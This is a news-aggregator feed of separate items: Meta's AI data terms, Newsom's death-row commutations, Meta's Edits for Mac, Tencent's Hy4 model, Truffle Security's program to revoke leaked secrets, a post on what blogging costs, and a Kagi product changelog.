In light of Meta's new terms that will allow it to scrape users' data for AI, people in the EU and UK have the option to "object" to certain uses of their information, for now.

404 Media Samantha Cole

The Los Angeles Times , which first reported the change, notes that following a case supported by the Norwegian Media Businesses’ Association and 180 Norwegian media companies, a court in Norway granted a temporary injunction suspending Meta’s new terms, and the UK Competition and Markets Authority said it would do its own investigation into the terms.

After pushing the update to November, Meta removed the word “train” from a list of allowed use cases, Nieman Lab reported , and limited those uses to “advertising and business products,” where previously it said that data would be used for all Meta products.

About the author

Sam Cole is writing from the far reaches of the internet, about sexuality, the adult industry, online culture, and AI. She's the author of How Sex Changed the Internet and the Internet Changed Sex.

Samantha Cole

Beyond Abolishing the SRG

hellgate
hellgatenyc.com
2026-11-05 15:55:21
The CURB Act should not be NYC’s premier police accountability measure....
Original Article

Great! You’ve successfully signed up.

Welcome back! You've successfully signed in.

You've successfully subscribed to Hell Gate.

Your link has expired.

Success! Check your email for magic link to sign-in.

Success! Your billing info has been updated.

Your billing was not updated.

MS Paint Remote Code Execution Vulnerability

Hacker News
www.cve.org
2026-11-05 15:43:42
Comments...

California Gov Newsom commutes death sentences for all 548 people on death row

Hacker News
www.bbc.com
2026-11-05 15:34:48
Comments...
Original Article

Reuters/Evelyn Hockstein California Governor Gavin Newsom speaks while gesturing and wearing a white shirt. It is dark behind him. Reuters/Evelyn Hockstein

California Governor Gavin Newsom's term in office comes to an end in January

California Governor Gavin Newsom has commuted the death sentences of all 548 people on death row in the state, changing them instead to life in prison.

"We can now let these offenders die in obscurity while we forever remember and honour the victims," he said in a letter.

The decision to spare death row inmates is largely symbolic in a state that has not executed an inmate since 2006, though experts say it could save millions of dollars in court costs each year. Only 13 inmates have been executed since voters reinstated the death penalty in 1978.

The decision comes as Newsom, the Democratic leader of the most populous US state, has been discussed as a possible 2028 contender for president.

Newsom, who is term limited, is winding down his final months in office. Fellow Democrat Xavier Becerra is projected to take over after the midterm elections on Tuesday.

Newsom explained in his letter that he is exercising his constitutional clemency authority to commute the sentences to life without the possibility of parole.

"After nearly 30 years in public office, I have come to understand the limits of what government can justly accomplish," Newsom said. "I take this action because I firmly believe that state-sanctioned killing is incompatible with California's values, undermines the foundations of our legal system and diminishes each of us".

California has historically had the largest population of death row inmates. Newsom had previously ordered a halt to the death penalty in the state in 2019.

Newsom, describing his decision as a difficult but "righteous action", said that although many Californians feel that those who commit brutal crimes deserve to die, he has concluded that "the state cannot morally kill them".

He said that by every measure, California's system for administering the death penalty "is a failure", and that it has not and cannot be fairly applied, resulting in the conviction of innocent people.

Life without the possibility of parole is the most severe punishment he can lawfully impose and that the state can ethically enforce, he said.

He acknowledged that his clemency action will anger and hurt some Californians and said that it will "always weigh heavily on me".

"As Governor, I alone bear responsibility for this decision and its impact, just as I alone would bear responsibility for each execution," he wrote.

"For this reason, I am compelled to follow my conscience and, as authorised by our Constitution, take this action for the welfare of the State of California."

Because individual states have the power to prosecute crimes and order executions, much of the power lies with state governors.

Getty Images A view of a cell block at San Quentin State Prison's death row adjustment center on August 15, 2016 in San Quentin, California. 

Getty Images

San Quentin State Prison's used to house California's death row adjustment centre

The decision comes after the high-profile botched execution of a woman in Tennessee in late September and while executions have been on the rise in the US. There are three executions scheduled for Thursday in Indiana, Florida and Alabama.

Most of Newsom's action on Thursday will need court approval, CalMatters reported. For the commutations of the nearly 400 prisoners convicted of multiple felonies, at least four of seven judges on the California Supreme Court have to sign off.

Anthony D Romero, the executive director of the American Civil Liberties Union, applauded Newsom's action.

"These commutations reflect what justice demands: an end to a racist, error-prone, and inhumane punishment that has burdened California for far too long," Romero said.

"By taking this step, Gov. Newsom has affirmed that the death penalty has no place in California and he showed real courage by confronting racialised injustice head-on."

On the federal level, President Donald Trump, a long-time supporter of the death penalty, has described capital punishment as "an essential tool for deterring and punishing those who would commit the most heinous crimes and acts of lethal violence against American citizens".

In 2020, during his first term, he ended a nearly two-decade moratorium on the federal death penalty, by ordering 13 executions over a six-month period.

While the moratorium returned under President Biden, on the first day of Trump's second term in 2025, he signed an executive order that re-instated the death penalty.

No federal executions have been carried out since he signed it, however. In the US, both the federal government and local states authorities can order executions.

The death penalty is legal in 27 states, but has been abolished in 23 states and Washington DC, according to the Death Penalty Information Center, a national non-profit.

California, which primarily uses lethal injection for executions, used to house male death row prisoners in San Quentin State Prison north of San Francisco, and female inmates in the Central California Women's Facility in the Central Valley.

But a 2016 ballot measure allowed for their transfer to other facilities that provide a necessary level of security, according to the California Department of Corrections and Rehabilitation.

Meta Releases Mac Version of Edits

Daring Fireball
edits.instagram.com
2026-11-05 15:27:05
From Instagram’s Edits blog: I’m Brett Westervelt, and I lead the Edits app. In just over a year, 50 million people have made Edits part of how they bring ideas to life, and we’re excited to expand what Edits can do for creators. Today we’re bringing Edits to the big screen. The first version o...
Original Article

I'm Brett Westervelt, and I lead the Edits app.

In just over a year, 50 million people have made Edits part of how they bring ideas to life, and we’re excited to expand what Edits can do for creators. Today we're bringing Edits to the big screen. The first version of our desktop editor is now available for macOS. We've designed it to support more involved projects, where a larger screen and the precision of a mouse and keyboard really matter. Just like Edits on mobile, we'll be updating our desktop app every week, so let us know what you think and what you'd like to see next.


Introducing Edits on desktop


A lot of creators have described the same moment to us: a project gets too big for your phone. You've got a dozen clips going, you're trying to land a cut on the exact beat, and your thumb covers the part of the timeline you need to see. Your work is growing, and your tools should grow with it. We're expanding Edits to take on your most ambitious projects on desktop.

Full timeline of Edits on desktop with multi-track editor shown

A full creative studio, designed for creators


We built the desktop editor with creators in mind. It has everything you need to make great videos for any platform, free and customizable by you. Creators get Instagram's licensed and royalty-free audio libraries, hundreds of sound and video effects, and unlimited automatic captions that support multiple languages. To make getting started easier, the audio and text styles you saved on mobile are already waiting for you on desktop. And you can set up the keyboard shortcuts you already know, whether they're your own or ones carried over from another editor.

Filmmaker and creator Alex Cissé ( @alexcisse ) was an early tester for our desktop app. He shares, “What desktop changes is space. You get a bigger screen and more precise controls, but you keep everything that makes Edits, Edits: the Instagram music library, sync with your profile, and direct upload.”

Instagram’s audio library expanded with audio tools

Advanced tools for precise editing


We wanted to make powerful editing accessible to every creator. Our new desktop editor brings a full multi-track timeline, keyframes for dynamic transitions, and precise audio waveforms for beat-accurate cuts. Splitting, cutting, and trimming are all easier, and color wheels, log conversions, and curves give your videos a finished grade. If you have your own LUTs or font files, you can import them to tailor your Edits to your particular brand and style. And for anyone using AI agents, you can connect them to the desktop editor through MCP so they can help with your projects.

Adjust and color wheels with multiple aspect ratios

Publish to Instagram, or export anywhere


Exporting videos can be a monotonous, time-consuming process. Today many creators edit on desktop, download the file, move to mobile, make more edits, then post. With Edits, you can publish from your desktop editor directly to Instagram, with native features like tagging, location, and trial reels built in. We're also expanding Edits to support multiple aspect ratios (horizontal and vertical), with 4K watermark-free export, so you can easily share to any platform, or use Edits for personal projects.

Export screen and resolution settings

What’s next for Edits?


We're just getting started, and we'll keep listening to your feedback and shipping weekly updates to improve Edits on desktop. During testing, creators told us how helpful it would be to edit one project seamlessly across desktop and mobile. We're working on that now and have a bunch of other additions in the works. This is only the beginning, and we’re excited to see what you make.

Download Edits for Mac at edits.com/desktop , and keep the feedback coming on Instagram and Threads.

Tencent Launches Hy4, One of the Leading Open-Source AI Models

Hacker News
www.tencent.com
2026-11-05 15:21:43
Comments...
Original Article

Tencent today announced the release of Tencent Hy4, its latest-generation large language model, marking a significant leap in performance and capabilities that now ranks it among the world’s leading open-source AI models. Tencent Hy plans to release model weights and system cards in the coming days, reinforcing its commitment to responsible open-source AI development, with a focus on cybersecurity and biological safety.

The new model also introduces visual understanding capabilities for the first time, alongside major improvements in instruction following, long-context comprehension and long-horizon agentic tasks, delivering stronger overall performance across a diverse set of applications.

Through advanced visual understanding, reasoning, and tool-calling capabilities, Hy4 now supports a broader range of tasks, including fine-grained image processing, complex chart analysis, and mathematical visual reasoning.

Additionally, Hy4 introduces computer-use capabilities for the first time, enabling it to interact with both command-line interfaces and graphical user interfaces to perform a wide range of work and everyday tasks. The model has undergone specialized training on professional software such as Blender and CAD, significantly enhancing its ability to plan and execute long-horizon and sophisticated tasks.

Deep Model-Product Co-Design Unlocks New Opportunities for Real-World Productivity

Leveraging significant advances in its foundational capabilities and deep model-product co-design, Hy4 unlocks a broader range of real-world productivity scenarios:

Office Productivity & Collaboration : Hy4 has significantly enhanced the user experience on Tencent WorkBuddy. Evaluation benchmarks on WorkBuddy show an average performance score of 83.18 and a pass rate of 96.15 percent, with Hy4 ranking first place in nine out of twelve scenarios within the mainland Chinese market. In practical use, Hy4 balances efficiency and effectiveness for visual creative tasks, 3D scene construction, and web development. Furthermore, it delivers marked improvements in document presentation, stability, and usability for human-AI collaborative tasks on WorkBuddy.

Leveraging enhanced in-context learning capabilities, Hy4 excels at understanding complex information from diverse sources. Integrated with WeCom via WorkBuddy, Hy4 connects with daily workflow data across chats, emails, documents, calendars, and meetings. When managing multiple projects simultaneously, Hy4 automatically tracks project history and recent developments. It identifies outstanding tasks, flags upcoming meetings that require preparation, and monitors approaching deadlines, helping users prioritize effectively and stay aligned on important follow-ups. In addition, new team collaboration capabilities powered by Hy4 will be introduced with the upcoming release of WorkBuddy’s “Projects” feature.

Hy4 has also been optimized for professional financial analysis. By training on thousands of specialized workspaces and tens of thousands of high-quality tasks derived from real-world scenarios, the model gains a deep understanding of expert workflows in fund research, securities analysis, and quantitative investment strategies.

In a rigorous blind evaluation conducted by the Tencent Hy team in partnership with Tencent Financial Technology, Hy4 emerged as the top-performing open-source model. The assessment involved 213 financial professionals, including 153 experts from leading external institutions, approximately 70 percent of whom possessed more than five years of industry experience. Based on performance across 579 real-world financial tasks, Hy4 achieved the highest overall performance score.

Evaluation scores: Hy4 (3.04), DeepSeek-V4.1-Flash-1017 (2.97), Kimi K3.1 Pro (2.68), and GLM-5.3 (2.68).

In addition, Hy4 achieved a 12.03 percentage-point improvement over Hy4 Preview in the internal Investment Research Agent Benchmark (iRaB) evaluation conducted by financial AI company Rabyte.

To enhance the model’s real-world applicability across financial and other workplace scenarios, Tencent Hy has also introduced targeted search optimisation that focuses on retrieving up-to-date information, integrating multiple information sources, and verifying factual consistency. In internal evaluations, Hy4 reduced its hallucination rate from 12.95% in the Hy4 Preview to 7.2%, while errors caused by unsupported assumptions fell from 23.1% to 5.6%.

Frontend & Game Development: Hy4 is optimized for high-complexity tasks, including intricate business logic, state management, front-end and back-end orchestration. This ensures that generated interfaces are not only visually polished but also fully functional. Furthermore, through collaboration with Tencent Interactive Entertainment Group (IEG) professional developers, Hy4 has significantly advanced its game development capabilities. By deeply integrating with major engines like Unreal Engine (UE), Unity, and Godot, the model now supports complex game logic and multiplayer implementations. Compared to Hy4 Preview, Hy4 improved by 19.1 percent in GameDev and 9.8 percent in GameLogic benchmarks.

Scientific Research: Hy4 combines advanced reasoning, scientific programming, and long-horizon task execution to support complex, end-to-end research workflows. Validated with TenureTrail, which assessed 123 executable tasks across seven disciplines, the model demonstrated superior performance in mathematical construction, physical modeling, environmental and earth sciences, systems engineering, and socio-economic decision-making.

Hy4 is advancing into the next stage of Recursive Self-Improvement (RSI) to further enhance its model research and development capabilities. Leveraging the Hyra 2.0 harness, Hy4 optimized the pre-training infrastructure for smaller models sharing the same architecture. Additionally, the Hy team has open-sourced two foundational models developed with Hy4 and Hyra 2.0 for single-cell representations (HyCell) and the physics fields (HyPDE). These tools are designed to provide the research community with robust, reusable assets for scientific discovery.

Advancing Responsible Open-Source AI through Cybersecurity and Biosafety Safeguards

Tencent Hy is committed to advancing responsible open-source AI, incorporating safeguards throughout model training and release, with a strong emphasis on cybersecurity and biosafety to support the safe and responsible use of AI.

Cybersecurity: Hy4 is trained on defensive security data, prioritizing proof-of-concept (PoC) development and vulnerability remediation. The model incorporates reverse engineering and penetration testing for analysis purposes. However, offensive materials related to exploitation are explicitly excluded from the training dataset.

Cybersecurity experts from Tencent’s Xuanwu Lab and Keen Security Lab conducted security assessments covering cryptographic reverse engineering, binary deobfuscation, vulnerability exploitation, and more. The assessments found no significant concerns regarding Hy4’s offensive cybersecurity capabilities in the areas evaluated.

Biosafety : Based on internal expert reviews, Hy4 demonstrates strong foundational biological knowledge; however, its capabilities in open-ended experimental design are more limited compared to frontier models.

Delivering Greater Cost Performance, Hy4 Flash Recently Released

Hy4 is currently available across Tencent Cloud TokenHub, WorkBuddy, CodeBuddy, Yuanbao, WeCom’s AI Assistant (Dayuan), ima, and more. Additionally, the model’s API is being made available via third-party platforms such as OpenRouter, Hermes, and OpenCode. Integration efforts are underway for other Tencent products and platforms, including QQ, Honor of Kings, Game of Peace, WeRead, and Tencent News.

Guided by a core commitment to practical AI, Hy4 continues to push the boundaries of AI performance while delivering exceptional cost-effectiveness. Despite significant performance improvements over Hy4 Preview, Hy4 maintains the same pricing: approximately US$0.90 per million input tokens, US$2.70 per million output tokens and US$0.045 per million cached input tokens.

Hy4 Flash is scheduled for release soon and will deliver greater cost-efficiency for users who prioritize high-value applications.

From November 4 to 15, WorkBuddy and CodeBuddy will be available for free. In addition, Hy4 will be available on Tencent Cloud TokenHub at 50% off its standard pricing, with this offer running through December 31, 2026.

Nearly 1.5 million exposed secrets targeted in new revocation program

Bleeping Computer
www.bleepingcomputer.com
2026-11-05 15:15:08
Truffle Security has launched the Secrets Revocation Program, a free initiative that helps API key issuers revoke 1.4 million publicly exposed secrets that remain valid. [...]...
Original Article

Nearly 1.5 million exposed secrets targeted in new revocation program

Truffle Security has launched the Secrets Revocation Program, a free initiative that helps API key issuers revoke 1.4 million publicly exposed secrets that remain valid.

Since 2022, the company has discovered secrets embedded in public repositories, packages, container images, datasets, and applications.

Earlier this year, Truffle Security reported that it had found 543,000 valid credentials leaked in public GitHub repositories.

image

In a separate investigation, the company identified more than 431,000 AWS secrets across code repositories, Git histories, datasets, Docker images, registries, and CI logs.

These secrets are typically exposed by mistake during the development process, by committing credentials to a public repository, including them in published Docker images or packages, or leaving them in configuration files uploaded with an app or dataset.

Truffle Security says that the problem is that the owners of these secrets are not responsive to researchers’ notifications about leaked data.

“Telling developers their keys leaked doesn’t get them turned off: 81% of the keys we reported last year still worked six months later,” the company explained .

As a result, exposed secrets pose unnecessary security risks that can extend beyond the affected companies to their customers and downstream application users.

Accumulation of valid exposed keys over time
Accumulation of valid exposed keys over time
Source: Truffle Security

The researchers note that the rise of AI coding tools has only worsened the situation, increasing secrets exposure even more.

“Since January 2025 we’ve found 2,655 working keys in AI coding tools’ config files like that one,” the researchers said, noting that this was a non-existent problem the year before.

AI is also increasing the impact of exposure on the offensive side, as shown by OpenAI’s July incident, where AI agents used exposed Hugging Face tokens to steal data from the platform.

Revoking exposed keys

Truffle’s new program, which uses the TruffleHog tool to check for the validity of leaked keys, aims to coordinate the revocation of exposed secrets with the entities that issued them.

Truffle says it can either use a revocation endpoint provided by those entities, or supply them with the verified keys through a webhook and revoke them within 14 days.

This way, even when owners are unresponsive, the keys can be invalidated.

Program
Key removal procedure
Source: Truffle Security

Sixteen issuers have already joined the program, including Hugging Face, Notion, Vercel, Resend, RubyGems, and Twilio.

Truffle says the unilateral revocation approach can be very effective, as demonstrated by Google when it began disabling exposed Google Cloud service-account keys by default on June 16, 2024.

When Google relied only on notifying key owners, Truffle Security found that many customers failed to respond, leaving 72% of the exposed secrets active. By automatically disabling leaked keys, the figure was reduced to 11%.

Although eliminating all valid exposed keys is impossible because customers can opt out of automatic revocation, the measure proved to be effective.

Companies that issue API keys can join Truffle Security's Secrets Revocation Program to automatically protect their customers.

article image

Uncover email threats your existing defenses may miss.

Adaptive Security's AI agents analyze email intent, context, and behavior to uncover phishing, business email compromise, and invoice fraud.

See what's getting through with a 14-day read-only scan of Microsoft 365 or Google Workspace, with no MX changes.

Start your free email security scan.

The Cost of Blogging

Hacker News
onlinegoddess.net
2026-11-05 15:14:25
Comments...
Original Article

It’s easy enough to find a blogging platform that doesn’t cost anything to use, Bear itself has a decent enough free tier, but how many of us do end up spending some money on our little journals? For me, there’s a few things I always pay for:

A Personal Domain

When people buy a domain for their blog, it’s a clear sign they intend to stick around. I can become quite attached to a good blog, so I find myself more likely to follow someone with a domain because there’s a higher expectation they will continue it.

A domain is your online identity. If you own it, no one else can claim it. You can use it wherever you wish, and you can take it elsewhere if you’re not happy where you are. You won’t lose your readership because they follow the domain, not the platform.

For me, this is an essential expense.

The Blogging Platform / Hosting

In today’s age of data collection and privacy concerns, I prefer to pay for my blogging platform or hosting. Then I know that it’s my subscription and not my personal information that’s funding the development, server costs etc.

For smaller companies, like Bear, paying also helps support the free tier for those that don’t subscribe. Not everyone can afford to pay for their blog and I think it’s important to help keep that option alive, sustainably.

Typography

I’m undoubtably in the minority here as there are many wonderful free fonts available. However, as a typography nerd, I’m always looking for the next best thing and that means I’ve encountered some irresistible premium fonts. There is a ceiling on this - I have spent no more than £100 on a font family because that really is my justifiable limit for a personal blog.

I’ve written a few posts about the subject here:

I have actually changed the font again just yesterday, so the last post is not up-to-date

When I do use a free font, I always host it directly to avoid usage tracking (looking at you Google). I also try to use original font foundries, who sometimes sell premium fonts alongside their free offerings as a sustainable and ethical business model.

Writing Software

Bear includes a simple editor, but I much prefer to use something a little fuller-featured. There are plenty of text and markdown editors available for free, or for a nominal subscription - there’s no reason to spend a fortune, just pick the one that feels comfortable. I happen to like Paper , which is free with extra personalisation for an annual or lifetime cost. It has a very pleasant interface and allows me to use my own font. I blogged about it in Finding the Perfect Writing App .

What elements of blogging do you feel are worth paying for? If you happen to write a post about it, pop me a link and I’ll share.

View Comments (3)

Tee 🇺🇸 wrote via the Guestbook :

Thank you for this post! Because of it, I explored text editors that support markdown. Didn't really know they existed! I may not have settled for Paper but I found one that fits my needs (Markdown One)

  • That’s wonderful, and thank you for letting me know my post was helpful. :) I should perhaps have included some links to editors I had previously tried, maybe that’s an idea for a future post! ~Becky

Brian wrote via email :

Greetings from a fellow enjoyer of Heliotrope. Always a treat to find it in use out and about.

  • Yay, I’ve not found another Heliotrope fan until now. :D Looks fantastic on your website too! ~Becky

Corey wrote via email :

Love your post about the cost of blogging!

I wholeheartedly agree about the personal domain...I, too, can be attached to a good blog, so knowing they've invested a bit into it (mine is something like $12/year) makes me more likely to keep up with it.

I'm also very happy to pay for Bear. $6/month doesn't seem like such a cost for such a great service that I get so much out of.

Anyway, enjoying your posts.

(Web hug.)

Corey

  • I’m so glad you enjoyed reading my blog and thank you for for sharing your thoughts on this post. ~Becky

#blogging #comments #popular

Kagi Search for Everyone

Hacker News
kagi.com
2026-11-05 15:03:34
Comments...
Original Article

Nov 5th, 2026 - Your friends and family can finally try Kagi #

Kagi Search

Search for everyone

As many of you know, we don't run ads anywhere . Instead, we are active on social media and online communities to stay close to you, build a great product, and rely on word of mouth .

We've heard that it can be hard to recommend a search engine when your friends can't try it without creating an account. That's changed: anyone, anywhere, can now visit kagi.com and search the web . No account required for the first 50 searches (100 more upon registration).

We are counting on you to spread the word to your friends and family <3


Our new landing page for new users

Our take on the latest Search industry news

Google announced that, starting in early 2027, AI tools will be turned off by default for school accounts. It sounds like a win for schools until you read that Google Search will be switched off along with them.

Our take: Education shouldn't be taken hostage by an advertising company. Let’s stop putting corporate profits over the imperative to educate students.

Our call to schools facing this choice: You don't have to accept it. There are alternatives to mandatory AI, and, yes, Kagi is one of them.

Our open letter to the tech industry: Education Shouldn't Be Held for Ransom

Android app

The Kagi Search app on Android has a redesigned home screen, rebuilt voice search, and new ways to reach Kagi from anywhere on your phone.

The redesigned Kagi home screen shows search controls and the remaining free searches.

  • Added a short tour on first launch that shows what Kagi can do, from bangs and lenses to ranking sites and voice search
  • Redesigned the home screen, which now shows how many free searches you have left when you're trying Kagi without an account
  • The search bar, logo and tabs on results pages are now native, and tuck away as you scroll
  • Rebuilt voice search with its own screen and a new animation
  • Choose the language for voice search
  • Added a voice search tile to Quick Settings
  • Add home screen widgets and the Quick Settings tile straight from Settings > Home Screen Widgets
  • Added a Default Search Setup guide for making Kagi the search engine in your browser
  • Paste an image into the search field to search by image
  • Added a Quick Answer button next to search suggestions
  • Assistant and Summarize now open in the app with a close button and a menu to reload, copy the link, or open in your browser
  • Bang searches now follow the Result Opening setting
  • Fixed Privacy Pass searches showing a blank page after a token key rotation

Other improvements and bug fixes

Note: we added a small banner to warn you if your browser logs you out by mistake. This ensures you know when you've landed on our new explore flow (Kagi's discovery version), which offers a degraded experience compared to your paid plan.

A banner identifies guest searches and provides a link to log in

Kagi Assistant

Apps

Shared threads now jump straight into the native app, and we’ve completely redone voice input so speaking a prompt is just as fluid as typing one.

Finally, a lot of you mentioned it was too hard to tell when a temporary thread was actually temporary, so we reworked the icons and cues to make going off the record unmistakable. Please tell us if it hits the mark .

Other improvements and bug fixes

Kagi News

Kagi News has been featured on Google Play! The editorial spotlight highlights our approach to keeping you informed without the overload, with credible global reporting, clearly cited sources, and multiple perspectives on every story.

  • One event, several angles: stories covering the same event in different categories no longer repeat each other
  • Settings redesigned, with clearer language options
  • Mark each duplicate story in other subscribed categories as already read after I read it in one category #8604 @thunb
  • Image captions showing HTML tags kite-public #611

Kagi Translate

Web

  • Proofread shows corrections as they arrive
  • Reloading the page or going Back keeps your finished translation
  • More accurate Sorani, Kurmanji and Latin translations
  • Better PDF tables and Hebrew text, and smaller translated Office files
  • Long pasted text collapses on phones
  • If your Kagi plan shares its AI allowance with Assistant, Translate shows how much of it is left

Extension

  • Your AI allowance on the Statistics page
  • Best quality for the translation popup and integrations

Other improvements and bug fixes

Small Web

Apps

  • Added missing topics - Design & UX, Work & Business, Sports
  • Your selected topic will now be persisted across app opens
  • Hide the topics you're not interested in, and the app remembers your choice!
  • Haptic feedback and accessibility improvements across the board
  • Bug fixes and UI refinements to polish the app's design

Small Web’s topic filter lets you choose categories and hide unwanted topics.

Oct 16th, 2026 - Smarter search widgets, Privacy Pass upgrades, and a calmer Assistant #

Search

  • We added a small animation to the coin widget – and clicking the coin does another flip! Try it for yourself!

Improvements and bug fixes

Browser Extensions & Privacy Pass v1.0.13

  • Kagi Search Extension Firefox Container Support #11563 @michaeljcallahan
  • Provide option to disable adding context menus in Firefox extension #8139 @emptyjar
  • Privacy Pass now works with Quick Answer & Inline Summarize features
  • Fetching session cookies no longer fails under First-Party Isolation ( privacy.firstparty.isolate ), which is the default in the Tor browser
  • Website Info doesn't work on Privacy Pass #11609 @Kagi_Search_User

Assistant

  • Response steps are now fully collapsible, giving you a calmer space to get all your work done.
  • A Help menu has been added to the sidebar for quick access to helpful links.
    {Assistant Help menu in sidebar}

Apps

  • We saw reports from users unable to send follow-up messages on the mobile apps. This issue has been resolved. We apologize for the inconvenience.

Improvements & Bug Fixes

Translate

  • Kagi Translate has turned my blog post into a kagi.com page that outranks me, untranslated #11490 @AviD
  • Centred, dynamically expanding YouTube subtitles are nearly unreadable #10283 @JR

Translate Extension

Sept 10th, 2026 - One login for all of Kagi, and Translate reopens to everyone #

One login for every Kagi product

Kagi now has a single account for all of our products, managed at https://account.kagi.com . This update also adds passkey support , one of our longest-standing requests. #15 @Kai

What changes for you

For most people: only the sign-in page. The next time you sign in you'll be taken to account.kagi.com, and your existing email, password, and 2FA continue to work unchanged. Password and 2FA settings are managed there from now on.

A few cases work differently:

  • Social login (Google, Apple, GitHub, Microsoft): your account will be migrated when we switch over the login page in the coming days. Nothing to do until then.
  • Kids accounts are not migrating and continue to sign in with the passcode received by the account owner.
  • Kagi Mail early testers whose Mail account uses the same email as their Search account: the two are now one account. Sign in with your Kagi Mail password and it works for Search as well.

Action required if you use 2FA: backup codes were not transferred. Generate new ones at https://account.kagi.com/account/security/recovery after signing in. We'll also email you a reminder in the coming days.

Suggestions or bugs with the new platform belong on https://kagifeedback.org . If something looks wrong with your account, write to support@kagi.com .

Kagi Translate

Kagi Translate is now freemium: every Kagi account gets a monthly allowance, and heavy users can subscribe to a new $8/month Individual plan .

Existing Starter, Professional, Family, and Team subscribers keep their current access until October 12, 2026 . After that date they move to the free tier unless they upgrade to Individual or Kagi Ultimate.

Read more about the changes →

Also new in the Translate browser extension:

Kagi Assistant mobile apps

When sharing an image or file into the app, you can now start a new thread or share into one of your existing threads.

Thread retention options, thread sorting, and message reporting are now available in the mobile apps.

Kagi Maps

Measure tool is back on mobile

The measuring tool is available again in the compact mobile controls, with visible drawing lines and measurements. Tapping the map while measuring adds points without opening place details, with the ability to toggle between distance-or-area measurements, (units set in Setting Sidebar)

Directions and navigation refinements

Several quality-of-life updates as part of active ongoing improvements to directions and navigation - clearer animations, text, button layout, etc.

Other improvements and bug fixes

Kagi Search

Kagi Assistant

Web

Mobile apps

Kagi Translate

August 21st, 2026 - A new Stocks widget and a better everyday Assistant experience #

Kagi Search

Bringing Stocks up to speed

We've revamped our Stocks widget. It should appear more often when you need it. It can now display information about exchange-traded funds in addition to stocks. Most importantly, it now features a price chart, with animations between time windows that instantly contexturalize how big the price fluctuations you're seeing are compared to the wider story:

The stock widget showing animated transitions between 3 month, 1 year, 5 year, and 1 day price charts

As well, we've added a setting for removing paywalled links from search results automatically.

Kagi Assistant

Everyday use just got smoother

Richer messages
User messages now render links, Markdown, and LaTex. #6674 @oxlvlnle , #3283 @EvacuatedTerminal

More powerful search
Search across all your threads, sort by recency or alphabetically, and start with / to filter by folder.

More control with calmer settings
Now you can choose whether temporary threads stick around for 24h, 7 or 30 days. All within a calmer, easier-to-scan settings experience.

Other improvements and bug fixes

Kagi Search

Kagi Assistant

Assistant Mobile Apps

  • Keyboard shortcut preference to submit prompts on iPads with connected keyboards
  • Back swipe on left side of Kagi Assistant interferes with Android guestures #11126 @mb
  • After opening Kagi Assistant, back swipe on the right side closes the app #11127 @mb
  • Choppy animation in Assistant app #11134 @Temanor
  • Web Search toggle state not maintained between app switches #11140 @ryonic
  • Cannot Login Kagi Assistant 1.0.4 on iOS #11146 @hirsheykiss

Kagi Translate

July 30th, 2026 - Kagi Assistant on the go and design refinements for Search #

Announcing the official Kagi Assistant apps

Kagi Assistant is now available as a native app for iOS and Android !

Ask a question, explore the web, work with files, conduct in-depth research, or choose from leading AI models, all from your phone. Your threads and Custom Assistants stay with you, so you can pick up wherever you left off.

These are the first steps towards delivering a fantastic Kagi Assistant experience on mobile, with much more to come.

Download it now:

Give it a spin and let us know what you think!

Report responses directly from Kagi Assistant

You can now report an assistant response without leaving the conversation. Hover over any assistant message and select the thumbs-down button to open the feedback form, where you can report issues for reasons ranging from UI bugs to harmful content.

Note that when you submit a report, the full thread is shared with Kagi for review. The report and its associated copy of the thread are automatically deleted from Kagi’s review records after 30 days.

Export or delete all your threads

We've also added important controls, so you can now export all your threads or permanently delete them at once from Settings > General .

Kagi Assistant settings panel in dark mode showing the General settings tab, with a modal dialog open asking  with Cancel and Delete all buttons.

Kagi Search

A sharper search experience

We’ve polished the search results page to make its controls easier to find and understand. From the filter bar to domain-related options and menus, these updates bring greater clarity and ease of use to the features you rely on most.

Exchange rates, right in your search results

Next up in our broader effort to improve search widgets: currency conversion. Comes handy when you’re planning a trip, shopping abroad, or simply want to keep tabs on exchange rates.

Kagi search results page for the query  displaying an inline currency converter showing 100 ISK equals 1.12 Canadian dollars.

Other improvements and bug fixes

Kagi Search

Kagi Assistant

Kagi Translate

  • Kagi Translate reloads the page when using website translate #10852 @tijol
  • Dictionary now shows language-specific grammar details, starting with Czech animate/inanimate nouns
  • Proofread no longer suggests changes to text that was already correct, such as de-capitalizing German nouns
  • Translations no longer occasionally come back untranslated
  • Translations keep proper typographic punctuation instead of straightened quotes
  • Alternative translations now work when selecting part of a longer text
  • Double and triple-click selection in the translated text works as expected, and the alternatives panel no longer flickers while loading
  • "New version available" banner appears less often and supports dark mode
  • Reset-All Button for Translate #10999 @erakagi
  • Document Translate for Typst #11098 @weriomat
  • Palestinian Arabic in Translate #11006 @zsoltsb
  • Phonetic Translation Placement #10699 @dwahdany
  • Myanmar alias for Burmese #10495 @mb
  • Translation History panel cannot be closed in Brave (Windows 11) #10997 @vshlapakov
  • Prompt being read prior to translated word #10974 @kagifeedback-1xxkg
  • Kagi Translate Audio Broken #10923 @levers

Kagi News

July 2nd, 2026 - Heads, tails, and an AI toggle #

Kagi Search

New controls to completely turn off AI-based features in search

We've added an option to disable access to AI features in search, under settings/ai .

We're also planning to add this option to onboarding, so new users can personalise their Kagi experience from the start.

It's finally here! We believe that Kagi's application of AI should always be useful - there when you'd like it, and never when you don't, and always respecting your privacy.

This took us some time to navigate the right way to communicate this option. We did not want to create a confusing narrative as a company adding a toggle while continuing to invest in AI features elsewhere in our portfolio. But in the end, we want to stay true to putting you in control of your search engine - so here you are!

We deeply thank the community for their feedback and patience.

Flip coins and more sports widgets

By popular demand, our dice widget has gained the ability to roll dice with any number of sides. We're not sure what kind of games you're playing that need d7s, but we support them now.

We also added support for flipping coins, which are really just two-sided dice when you think about it:

Kagi search results page for the query 'flip 2 coins' displaying a widget that reads '1 head' alongside two illustrated coins.

We've added a set of switches on https://kagi.com/settings/more_search so you can disable any of our widgets you don't want to see. The toggle descriptions include links illustrating the widgets' capabilities so you understand what you're turning on or off; go check it out!

Settings page titled 'Widgets' listing three enabled toggle options: Calculator, Time & Date, and Package Tracking.

Orion browser ✴︎

This week, we’re launching Orion 1.1 for macOS , one of the most significant updates in our history. This version is built around three major new features (in addition to 170+ smaller improvements and bug fixes).

A New Interface ✴︎
When Apple released LiquidGlass , the reception was mixed—even within our own team. The demand was there, but we weren't ready to just copy-paste what Safari had done. They had even removed compact tabs!
So, we created our own implementation.

Containers ✴︎
Just like Firefox, we now offer containers. What are they? Each tab becomes completely isolated from the others: total privacy and the ability to log into multiple accounts on the same site from the very same window!

Browser window showing the Facebook login page with a container menu open offering options to open a new tab in different containers such as Shopping, Social media, or Flights.

A Personalized Browser Border ✴︎
